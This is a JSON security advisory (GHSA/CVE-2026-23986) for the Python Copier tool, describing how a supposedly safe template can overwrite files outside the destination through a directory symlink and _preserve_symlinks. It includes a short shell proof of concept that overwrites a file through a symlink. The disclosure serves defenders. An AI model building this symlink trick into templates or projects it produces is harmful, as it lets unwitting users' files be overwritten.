CVE-2026-23986: Copier True Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4fqp-r85r-hxqh",
  "modified" : "2026-02-02T16:33:53Z",
  "published" : "2026-01-21T22:19:29Z",
  "aliases" : [ "CVE-2026-23986" ],
  "summary" : "Copier safe template has arbitrary filesystem write access via directory symlinks when _preserve_symlinks: true ",
  "details" : "### Impact\n\nCopier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently write to arbitrary directories outside the destination path by using directory a symlink along with [`_preserve_symlinks: true`](https://copier.readthedocs.io/en/stable/configuring/#preserve_symlinks) and a [generated directory structure](https://copier.readthedocs.io/en/stable/configuring/#generating-a-directory-structure) whose rendered path is inside the symlinked directory. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc.\n\n> [!NOTE]\n>\n> At the time of writing, the exploit is non-deterministic, as Copier walks the template's file tree using [`os.scandir`](https://docs.python.org/3/library/os.html#os.scandir) which yields directory entries in arbitrary order.\n\nReproducible example (may or may not work depending on directory entry yield order):\n\n```shell\nmkdir other/\npushd other/\necho \"sensitive\" > sensitive.txt\npopd\n\nmkdir src/\npushd src/\nln -s ../other other\necho \"overwritten\" > \"{{ pathjoin('other', 'sensitive.txt') }}.jinja\"\necho \"_preserve_symlinks: true\" > copier.yml\ntree .\n# .\n# ├── copier.yml\n# ├── other -> ../other\n# └── {{ pathjoin('other', 'sensitive.txt') }}.jinja\n#\n# 1 directory, 2 files\npopd\n\nuvx copier copy --overwrite src/ dst/\n\ncat other/sensitive.txt\n# overwritten\n```\n\n### Patches\n\nn/a\n\n### Workarounds\n\nn/a\n\n### References\n\nn/a",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "copier"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "9.11.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/copier-org/copier/security/advisories/GHSA-4fqp-r85r-hxqh"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-23986"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/copier-org/copier/commit/b3a7b3772d17cf0e7a4481978188c9f536c8d8f6"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/copier-org/copier"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/copier-org/copier/releases/tag/v9.11.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-61" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-21T22:19:29Z",
    "nvd_published_at" : "2026-01-21T23:15:52Z"
  }
}